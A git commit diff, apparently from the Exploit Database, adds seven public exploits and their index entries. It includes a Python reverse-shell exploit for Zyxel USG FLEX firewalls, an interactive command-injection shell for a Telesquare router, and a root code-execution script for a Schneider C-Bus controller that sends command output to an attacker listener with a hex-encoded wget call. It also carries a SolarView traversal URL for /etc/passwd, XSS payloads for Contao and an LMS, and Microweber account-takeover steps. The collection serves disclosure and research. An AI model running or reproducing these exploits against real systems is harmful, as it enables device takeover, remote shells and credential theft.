DB: 2022-06-04
7 changes to exploits/shellcodes Zyxel USG FLEX 5.21 - OS Command Injection Telesquare SDT-CW3B1 1.1.0 - OS Command Injection Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 - Remote Code Execution (RCE) SolarView Compact 6.00 - Directory Traversal Contao 4.13.2 - Cross-Site Scripting (XSS) Microweber CMS 1.2.15 - Account Takeover
This commit is contained in:
Offensive Security
parent
79ae41201e
commit
3daddca955
8 changed files with 533 additions and 2 deletions
91
exploits/hardware/remote/50946.txt
Normal file
91
exploits/hardware/remote/50946.txt
Normal file
|
|
@ -0,0 +1,91 @@
|
|||
# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection
|
||||
# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"
|
||||
# Date: May 18th 2022
|
||||
# Exploit Author: Valentin Lobstein
|
||||
# Vendor Homepage: https://www.zyxel.com
|
||||
# Version: ZLD5.00 thru ZLD5.21
|
||||
# Tested on: Linux
|
||||
# CVE: CVE-2022-30525
|
||||
|
||||
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
import sys
|
||||
import json
|
||||
import base64
|
||||
import requests
|
||||
import argparse
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="CVE-2022-30525.py",
|
||||
description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
|
||||
)
|
||||
parser.add_argument("-u", dest="url", help="Specify target URL")
|
||||
parser.add_argument("-r", dest="host", help="Specify Remote host")
|
||||
parser.add_argument("-p", dest="port", help="Specify Remote port")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
banner = (
|
||||
"ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
|
||||
"LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
|
||||
"ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
|
||||
"LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
|
||||
"ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
|
||||
"KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
|
||||
"ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
|
||||
"biA6KSApCg=="
|
||||
)
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
print("\n" + base64.b64decode(banner).decode("utf-8"))
|
||||
|
||||
if None in vars(args).values():
|
||||
print(f"[!] Please enter all parameters !")
|
||||
parser.print_help()
|
||||
sys.exit()
|
||||
|
||||
if "http" not in args.url:
|
||||
args.url = "https://" + args.url
|
||||
args.url += "/ztp/cgi-bin/handler"
|
||||
exploit(args.url, args.host, args.port)
|
||||
|
||||
|
||||
def exploit(url, host, port):
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
|
||||
"Content-Type": "application/json",
|
||||
}
|
||||
|
||||
data = {
|
||||
"command": "setWanPortSt",
|
||||
"proto": "dhcp",
|
||||
"port": "4",
|
||||
"vlan_tagged": "1",
|
||||
"vlanid": "5",
|
||||
"mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
|
||||
"data": "hi",
|
||||
}
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")
|
||||
|
||||
try:
|
||||
response = requests.post(
|
||||
url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
|
||||
)
|
||||
except (KeyboardInterrupt, requests.exceptions.Timeout):
|
||||
print("[!] Bye Bye hekcer !")
|
||||
sys.exit(1)
|
||||
finally:
|
||||
|
||||
try:
|
||||
print("[!] Can't exploit the target ! Code :", response.status_code)
|
||||
|
||||
except:
|
||||
print("[!] Enjoy your shell !!!")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
97
exploits/hardware/remote/50948.py
Executable file
97
exploits/hardware/remote/50948.py
Executable file
|
|
@ -0,0 +1,97 @@
|
|||
#!/usr/bin/python3
|
||||
|
||||
# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
|
||||
# Date: 24th May 2022
|
||||
# Exploit Author: Bryan Leong <NobodyAtall>
|
||||
# Vendor Homepage: http://telesquare.co.kr/
|
||||
# CVE : CVE-2021-46422
|
||||
# Authentication Required: No
|
||||
|
||||
import requests
|
||||
import argparse
|
||||
import sys
|
||||
from xml.etree import ElementTree
|
||||
|
||||
def sysArgument():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--host", required=True, help="target hostname/IP")
|
||||
args = vars(ap.parse_args())
|
||||
return args['host']
|
||||
|
||||
def checkHost(host):
|
||||
url = "http://" + host
|
||||
|
||||
print("[*] Checking host is it alive?")
|
||||
|
||||
try:
|
||||
rsl = requests.get(url)
|
||||
print("[*] The host is alive.")
|
||||
except requests.exceptions.Timeout as err:
|
||||
raise SystemExit(err)
|
||||
|
||||
def exploit(host):
|
||||
url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd="
|
||||
|
||||
#checking does the CGI exists?
|
||||
rsl = requests.get(url)
|
||||
|
||||
if(rsl.status_code == 200):
|
||||
print("[*] CGI script exist!")
|
||||
print("[*] Injecting some shell command.")
|
||||
|
||||
#1st test injecting id command
|
||||
cmd = "id"
|
||||
|
||||
try:
|
||||
rsl = requests.get(url + cmd, stream=True)
|
||||
xmlparser = ElementTree.iterparse(rsl.raw)
|
||||
|
||||
cmdRet = []
|
||||
|
||||
for event, elem in xmlparser:
|
||||
if(elem.tag == 'CmdResult'):
|
||||
cmdRet.append(elem.text)
|
||||
except:
|
||||
print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
|
||||
sys.exit(0)
|
||||
|
||||
if(len(cmdRet) != 0):
|
||||
print("[*] There's response from the CGI script!")
|
||||
print('[*] System ID: ' + cmdRet[0].strip())
|
||||
|
||||
print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
|
||||
#start shell iteration
|
||||
while(True):
|
||||
cmdInput = input("[SDT-CW3B1 Shell]# ")
|
||||
|
||||
if(cmdInput == ".exit"):
|
||||
print("[*] Exiting shell.")
|
||||
sys.exit(0)
|
||||
|
||||
rsl = requests.get(url + cmdInput, stream=True)
|
||||
xmlparser = ElementTree.iterparse(rsl.raw)
|
||||
|
||||
|
||||
for event, elem in xmlparser:
|
||||
if(elem.tag == 'CmdResult'):
|
||||
print(elem.text.strip())
|
||||
|
||||
print('\n')
|
||||
|
||||
else:
|
||||
print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
|
||||
sys.exit(0)
|
||||
|
||||
else:
|
||||
print("[!] CGI script not found.")
|
||||
print(rsl.status_code)
|
||||
sys.exit(0)
|
||||
|
||||
def main():
|
||||
host = sysArgument()
|
||||
|
||||
checkHost(host)
|
||||
exploit(host)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
281
exploits/hardware/remote/50949.py
Executable file
281
exploits/hardware/remote/50949.py
Executable file
|
|
@ -0,0 +1,281 @@
|
|||
# Exploit Title: Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 - Remote Code Execution (RCE)
|
||||
# Exploit Author: LiquidWorm
|
||||
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
#
|
||||
# Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root Exploit
|
||||
#
|
||||
#
|
||||
# Vendor: Schneider Electric SE
|
||||
# Product web page: https://www.se.com | https://www.clipsal.com
|
||||
# Product details:
|
||||
# - https://www.clipsal.com/Trade/Products/ProductDetail?catno=5500SHAC
|
||||
# - https://www.se.com/ww/en/product/5500AC2/application-controller-spacelogic-cbus-rs232-485-ethernet-din-mount-24v-dc/
|
||||
# Affected version: CLIPSAL 5500SHAC (i.MX28)
|
||||
# CLIPSAL 5500NAC (i.MX28)
|
||||
# SW: 1.10.0, 1.6.0
|
||||
# HW: 1.0
|
||||
# Potentially vulnerable (alternative products/same codebase?): 5500NAC2 and 5500AC2
|
||||
# SpaceLogic C-Bus
|
||||
#
|
||||
# Summary: The C-Bus Network Automation Controller (5500NAC) and the Wiser
|
||||
# for C-Bus Automation Controller (5500SHAC)) is an advanced controller from
|
||||
# Schneider Electric. It is specifically designed to unite the C-Bus home
|
||||
# automation solution with common household communication protocols, from
|
||||
# lighting and climate control, to security, entertainment and energy metering.
|
||||
# The Wiser for C-Bus Automation Controller manages and controls C-Bus systems
|
||||
# for residential homes or zones within a building and integrates functions
|
||||
# such as heating/cooling, energy/load monitoring and remote control for C-Bus
|
||||
# and Modbus.
|
||||
#
|
||||
# Desc: The automation controller suffers from an authenticated arbitrary
|
||||
# command execution vulnerability. An attacker can abuse the Start-up (init)
|
||||
# script editor and exploit the 'script' POST parameter to insert malicious
|
||||
# Lua script code and execute commands with root privileges that will grant
|
||||
# full control of the device.
|
||||
#
|
||||
# ------------------------------------------------------------------------------
|
||||
# $ ./c-bus.py http://192.168.0.10 "cat /etc/config/httpd;id" 192.168.0.37 8888
|
||||
# ----------------------------------------------------------------------
|
||||
# Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at 15.03.2022 11:26:38
|
||||
# [*] Starting exfiltration handler on port 8888
|
||||
# [*] Writing Lua initscript... done.
|
||||
# [*] Running os.execute()... done.
|
||||
# [*] Got request from 192.168.0.10:33522
|
||||
# [*] Printing target's request:
|
||||
#
|
||||
# b"GET / HTTP/1.1\r\nHost: 192.168.0.37:8888\r\nUser-Agent: \nconfig user
|
||||
# 'admin'\n\toption password 'admin123'\n\nconfig user 'remote'\n\toption
|
||||
# password 'remote'\n\nuid=0(root) gid=0(root) groups=0(root)\r\nConnection:
|
||||
# close\r\n\r\n"
|
||||
#
|
||||
# [*] Cleaning up... done.
|
||||
#
|
||||
# $
|
||||
# ------------------------------------------------------------------------------
|
||||
#
|
||||
# Tested on: CPU model: ARM926EJ-S rev 5 (v5l)
|
||||
# GNU/Linux 4.4.115 (armv5tejl)
|
||||
# LuaJIT 2.0.5
|
||||
# FlashSYS v2
|
||||
# nginx
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# Macedonian Information Security Research and Development Laboratory
|
||||
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2022-5707
|
||||
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5707.php
|
||||
#
|
||||
#
|
||||
# 12.03.2022
|
||||
#
|
||||
|
||||
import threading#!
|
||||
import datetime##!
|
||||
import requests##!
|
||||
import socket####!
|
||||
import time######!
|
||||
import sys#######!
|
||||
import re########!
|
||||
|
||||
from requests.auth import HTTPBasicAuth
|
||||
from time import sleep as spikaj
|
||||
|
||||
class Wiser:
|
||||
|
||||
def __init__(self):
|
||||
self.headers = None
|
||||
self.uri = '/scada-main/scripting/'
|
||||
self.savs = self.uri + 'save'
|
||||
self.runs = self.uri + 'run'
|
||||
self.start = datetime.datetime.now()
|
||||
self.start = self.start.strftime('%d.%m.%Y %H:%M:%S')
|
||||
self.creds = HTTPBasicAuth('admin', 'admin123')
|
||||
|
||||
def memo(self):
|
||||
if len(sys.argv) != 5:
|
||||
self.use()
|
||||
else:
|
||||
self.target = sys.argv[1]
|
||||
self.execmd = sys.argv[2]
|
||||
self.localh = sys.argv[3]
|
||||
self.localp = int(sys.argv[4])
|
||||
if not 'http' in self.target:
|
||||
self.target = 'http://{}'.format(self.target)
|
||||
|
||||
def exfil(self):
|
||||
print('[*] Starting exfiltration handler on port {}'.format(self.localp))
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind(('0.0.0.0', self.localp))
|
||||
while True:
|
||||
try:
|
||||
s.settimeout(9)
|
||||
s.listen(1)
|
||||
conn, addr = s.accept()
|
||||
print('[*] Got request from {}:{}'.format(addr[0], addr[1]))
|
||||
data = conn.recv(2003)
|
||||
print('[*] Printing target\'s request:')
|
||||
print('\n%s' %data)
|
||||
except socket.timeout as p:
|
||||
print('[!] Something\'s not right. Check your port mappings!')
|
||||
break
|
||||
s.close()
|
||||
self.clean()
|
||||
|
||||
def mtask(self):
|
||||
konac = threading.Thread(name='thricer.exe', target=self.exfil)
|
||||
konac.start()
|
||||
self.byts()
|
||||
|
||||
def byts(self):
|
||||
self.headers = {
|
||||
'Referer':self.target+'/scada-main/main/editor?id=initscript',
|
||||
'Sec-Ch-Ua':'"(Not(A:Brand";v="8", "Chromium";v="98"',
|
||||
'Cookie':'x-logout=0; x-auth=; x-login=1; pin=',
|
||||
'Content-Type':'text/plain;charset=UTF-8',
|
||||
'User-Agent':'SweetHomeAlabama/2003.59',
|
||||
'X-Requested-With':'XMLHttpRequest',
|
||||
'Accept-Language':'en-US,en;q=0.9',
|
||||
'Accept-Encoding':'gzip, deflate',
|
||||
'Sec-Ch-Ua-Platform':'"Windows"',
|
||||
'Sec-Fetch-Site':'same-origin',
|
||||
'Connection':'keep-alive',
|
||||
'Sec-Fetch-Dest':'empty',
|
||||
'Sec-Ch-Ua-Mobile':'?0',
|
||||
'Sec-Fetch-Mode':'cors',
|
||||
'Origin':self.target,
|
||||
'Accept':'*/*',
|
||||
'sec-gpc':'1'
|
||||
}
|
||||
|
||||
self.loada = '\x64\x61\x74\x61\x3D\x7B' # data={
|
||||
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x34\x22\x3A\x22\x22\x2C' # "ext-comp-1004":"",
|
||||
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x35\x22\x3A\x22\x22\x2C' # "ext-comp-1005":"",
|
||||
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x36\x22\x3A\x22\x22\x2C' # "ext-comp-1006":"",
|
||||
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x37\x22\x3A\x22\x22\x2C' # "ext-comp-1007":"",
|
||||
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x38\x22\x3A\x22\x22\x2C' # "ext-comp-1008":"",
|
||||
self.loada += '\x22\x73\x63\x61\x64\x61\x2D\x68\x65\x6C\x70\x2D\x73\x65\x61\x72\x63\x68\x22\x3A\x22\x22\x2C' # "scada-help-search":"",
|
||||
self.loada += '\x22\x69\x64\x22\x3A\x22\x69\x6E\x69\x74\x73\x63\x72\x69\x70\x74\x22\x2C' # "id":"initscript",
|
||||
self.loada += '\x22\x73\x63\x72\x69\x70\x74\x22\x3A\x6E\x75\x6C\x6C\x2C' # "script":null,
|
||||
self.loada += '\x22\x73\x63\x72\x69\x70\x74\x6F\x6E\x6C\x79\x22\x3A\x22\x74\x72\x75\x65\x22\x7D' # "scriptonly":"true"}
|
||||
self.loada += '\x26\x73\x63\x72\x69\x70\x74\x3D\x6F\x73\x2E\x65\x78\x65\x63\x75\x74\x65' # &script=os.execute
|
||||
self.loada += '\x28\x27\x77\x67\x65\x74\x20\x2D\x55\x20\x22\x60' # ('wget -U "`
|
||||
self.loada += self.execmd # [command input]
|
||||
self.loada += '\x60\x22\x20' # `".
|
||||
self.loada += self.localh+':'+str(self.localp) # [listener input]
|
||||
self.loada += '\x27\x29' # ')
|
||||
self.loadb = '\x64\x61\x74\x61\x3D\x7B' # data={
|
||||
self.loadb += '\x22\x69\x64\x22\x3A\x22\x69\x6E\x69\x74\x73\x63\x72\x69\x70\x74\x22\x7D' # "id":"initscript"}
|
||||
|
||||
print('[*] Writing Lua initscript... ', end='')
|
||||
sys.stdout.flush()
|
||||
spikaj(0.7)
|
||||
|
||||
htreq = requests.post(self.target+self.savs, data=self.loada, headers=self.headers, auth=self.creds)
|
||||
if not 'success' in htreq.text:
|
||||
print('didn\'t work!')
|
||||
exit(17)
|
||||
else:
|
||||
print('done.')
|
||||
|
||||
print('[*] Running os.execute()... ', end='')
|
||||
sys.stdout.flush()
|
||||
spikaj(0.7)
|
||||
|
||||
htreq = requests.post(self.target+self.runs, data=self.loadb, headers=self.headers, auth=self.creds)
|
||||
if not 'success' in htreq.text:
|
||||
print('didn\'t work!')
|
||||
exit(19)
|
||||
else:
|
||||
print('done.')
|
||||
|
||||
def splash(self):
|
||||
Baah_loon = '''
|
||||
######
|
||||
##########
|
||||
###### _\_
|
||||
##===----[.].]
|
||||
#( , _\\
|
||||
# )\__|
|
||||
\ /
|
||||
`-._``-'
|
||||
>@
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
| Schneider Electric C-Bus SmartHome Automation Controller
|
||||
| Root Remote Code Execution Proof of Concept
|
||||
| ZSL-2022-5707
|
||||
|
|
||||
|
|
||||
|
|
||||
'''
|
||||
print(Baah_loon)
|
||||
|
||||
def use(self):
|
||||
self.splash()
|
||||
print('Usage: ./c-bus.py [target] [cmd] [lhost] [lport]')
|
||||
exit(0)
|
||||
|
||||
def clean(self):
|
||||
print('\n[*] Cleaning up... ', end='')
|
||||
sys.stdout.flush()
|
||||
spikaj(0.7)
|
||||
|
||||
self.headers = {'X-Requested-With':'XMLHttpRequest'}
|
||||
|
||||
self.blank = '\x64\x61\x74\x61\x3D\x25\x37\x42\x25\x32\x32'
|
||||
self.blank += '\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30'
|
||||
self.blank += '\x30\x34\x25\x32\x32\x25\x33\x41\x25\x32\x32'
|
||||
self.blank += '\x25\x32\x32\x25\x32\x43\x25\x32\x32\x65\x78'
|
||||
|
||||
self.dlank = '\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x35'
|
||||
self.dlank += '\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32'
|
||||
self.dlank += '\x32\x25\x32\x43\x25\x32\x32\x65\x78\x74\x2D'
|
||||
self.dlank += '\x63\x6F\x6D\x70\x2D\x31\x30\x30\x36\x25\x32'
|
||||
|
||||
self.clank = '\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25'
|
||||
self.clank += '\x32\x43\x25\x32\x32\x65\x78\x74\x2D\x63\x6F'
|
||||
self.clank += '\x6D\x70\x2D\x31\x30\x30\x37\x25\x32\x32\x25'
|
||||
self.clank += '\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43'
|
||||
|
||||
self.slank = '\x25\x32\x32\x65\x78\x74\x2D\x63\x6F\x6D\x70'
|
||||
self.slank += '\x2D\x31\x30\x30\x38\x25\x32\x32\x25\x33\x41'
|
||||
self.slank += '\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25\x32'
|
||||
self.slank += '\x32\x73\x63\x61\x64\x61\x2D\x68\x65\x6C\x70'
|
||||
|
||||
self.glank = '\x2D\x73\x65\x61\x72\x63\x68\x25\x32\x32\x25'
|
||||
self.glank += '\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43'
|
||||
self.glank += '\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41'
|
||||
self.glank += '\x25\x32\x32\x69\x6E\x69\x74\x73\x63\x72\x69'
|
||||
|
||||
self.hlank = '\x70\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32'
|
||||
self.hlank += '\x73\x63\x72\x69\x70\x74\x25\x32\x32\x25\x33'
|
||||
self.hlank += '\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25'
|
||||
self.hlank += '\x32\x32\x73\x63\x72\x69\x70\x74\x6F\x6E\x6C'
|
||||
|
||||
self.flank = '\x79\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74'
|
||||
self.flank += '\x72\x75\x65\x25\x32\x32\x25\x37\x44'#######'
|
||||
|
||||
self.clear = f'{self.blank}{self.dlank}{self.clank}{self.slank}{self.glank}{self.hlank}{self.flank}'
|
||||
htreq = requests.post(self.target+self.savs, data=self.clear, headers=self.headers, auth=self.creds)
|
||||
if not 'success' in htreq.text:
|
||||
print('didn\'t work!')
|
||||
exit(18)
|
||||
else:
|
||||
print('done.')
|
||||
exit(-1)
|
||||
|
||||
def main(self):
|
||||
print('-'*70)
|
||||
print('Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at', self.start)
|
||||
self.memo(), self.mtask()
|
||||
|
||||
if __name__ == '__main__':
|
||||
Wiser().main()
|
||||
13
exploits/hardware/remote/50950.txt
Normal file
13
exploits/hardware/remote/50950.txt
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
# Exploit Title: SolarView Compact 6.00 - Directory Traversal
|
||||
# Date: 2022-05-15
|
||||
# Exploit Author: Ahmed Alroky
|
||||
# Author Company : Aiactive
|
||||
# Author linkedin profile : https://www.linkedin.com/in/ahmedalroky/
|
||||
# Version: ver.6.00
|
||||
# Vendor home page : https://www.contec.com/
|
||||
# Authentication Required: No
|
||||
# CVE : CVE-2022-29298
|
||||
|
||||
# Tested on: Windows
|
||||
|
||||
# Exploit: http://IP_ADDRESS/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg
|
||||
|
|
@ -5,11 +5,11 @@
|
|||
# Tested on Win10 and Google Chrome
|
||||
# Exploit Author: Vinicius Alves
|
||||
|
||||
# XSS Payload: "><h1>STORED XSS</h1> (Scripts tag blocked)
|
||||
# XSS Payload: </script><svg onload=alert();>
|
||||
|
||||
1) Access LMS and log in to admin panel
|
||||
2) Access courses page
|
||||
3) Open course manager and SEO menu
|
||||
4) Paste the XSS Payload tag and Submit
|
||||
5) Access the course page on frontend
|
||||
6) Exploited!
|
||||
6) Trigged!
|
||||
18
exploits/php/webapps/50945.tzt
Normal file
18
exploits/php/webapps/50945.tzt
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
# Exploit Title: Contao 4.13.2 - Cross-Site Scripting (XSS)
|
||||
# Google Dork: NA
|
||||
# Date: 04/28/2022
|
||||
# Exploit Author: Chetanya Sharma @AggressiveUser
|
||||
# Vendor Homepage: https://contao.org/en/
|
||||
# Software Link: https://github.com/contao/contao/releases/tag/4.13.2
|
||||
# Version: [ 4.13.2 ]
|
||||
# Tested on: [KALI OS]
|
||||
# CVE : CVE-2022-1588
|
||||
# References:
|
||||
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
|
||||
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
|
||||
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
|
||||
---------------
|
||||
|
||||
Steps to reproduce:
|
||||
Navigate to the below URL
|
||||
URL: https://localhost/contao/"><svg//onload=alert(112233)>
|
||||
25
exploits/php/webapps/50947.txt
Normal file
25
exploits/php/webapps/50947.txt
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
# Exploit Title: Microweber CMS 1.2.15 - Account Takeover
|
||||
# Date: 2022-05-09
|
||||
# Exploit Author: Manojkumar J
|
||||
# Vendor Homepage: https://github.com/microweber/microweber
|
||||
# Software Link: https://github.com/microweber/microweber/releases/tag/v1.2.15
|
||||
# Version: <=1.2.15
|
||||
# Tested on: Windows10
|
||||
# CVE : CVE-2022-1631
|
||||
|
||||
# Description:
|
||||
|
||||
Microweber Drag and Drop Website Builder E-commerce CMS v1.2.15 Oauth
|
||||
Misconfiguration Leads To Account Takeover.
|
||||
|
||||
# Steps to exploit:
|
||||
|
||||
1. Create an account with the victim's email address.
|
||||
|
||||
Register endpoint: https://target-website.com/register#
|
||||
|
||||
2. When the victim tries to login with default Oauth providers like Google,
|
||||
Github, Microsoft, Twitter, Linkedin, Telegram or Facebook etc(auth login)
|
||||
with that same e-mail id that we created account before, via this way we
|
||||
can take over the victim's account with the recently created login
|
||||
credentials.
|
||||
|
|
@ -18697,6 +18697,10 @@ id,file,description,date,author,type,platform,port
|
|||
50930,exploits/hardware/remote/50930.py,"Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Minh Khoa",remote,hardware,
|
||||
50936,exploits/hardware/remote/50936.txt,"SDT-CW3B1 1.1.0 - OS Command Injection",1970-01-01,"Ahmed Alroky",remote,hardware,
|
||||
50940,exploits/hardware/remote/50940.txt,"SolarView Compact 6.0 - OS Command Injection",1970-01-01,"Ahmed Alroky",remote,hardware,
|
||||
50946,exploits/hardware/remote/50946.txt,"Zyxel USG FLEX 5.21 - OS Command Injection",1970-01-01,"Valentin Lobstein",remote,hardware,
|
||||
50948,exploits/hardware/remote/50948.py,"Telesquare SDT-CW3B1 1.1.0 - OS Command Injection",1970-01-01,"Bryan Leong",remote,hardware,
|
||||
50949,exploits/hardware/remote/50949.py,"Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 - Remote Code Execution (RCE)",1970-01-01,LiquidWorm,remote,hardware,
|
||||
50950,exploits/hardware/remote/50950.txt,"SolarView Compact 6.00 - Directory Traversal",1970-01-01,"Ahmed Alroky",remote,hardware,
|
||||
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,
|
||||
|
|
@ -45007,3 +45011,5 @@ id,file,description,date,author,type,platform,port
|
|||
50942,exploits/php/webapps/50942.txt,"OpenCart v3.x Newsletter Module - Blind SQLi",1970-01-01,"Saud Alenazi",webapps,php,
|
||||
50943,exploits/php/webapps/50943.py,"m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Malte V",webapps,php,
|
||||
50944,exploits/php/webapps/50944.py,"qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) (v2)",1970-01-01,RedHatAugust,webapps,php,
|
||||
50945,exploits/php/webapps/50945.tzt,"Contao 4.13.2 - Cross-Site Scripting (XSS)",1970-01-01,"Chetanya Sharma",webapps,php,
|
||||
50947,exploits/php/webapps/50947.txt,"Microweber CMS 1.2.15 - Account Takeover",1970-01-01,"Manojkumar J",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue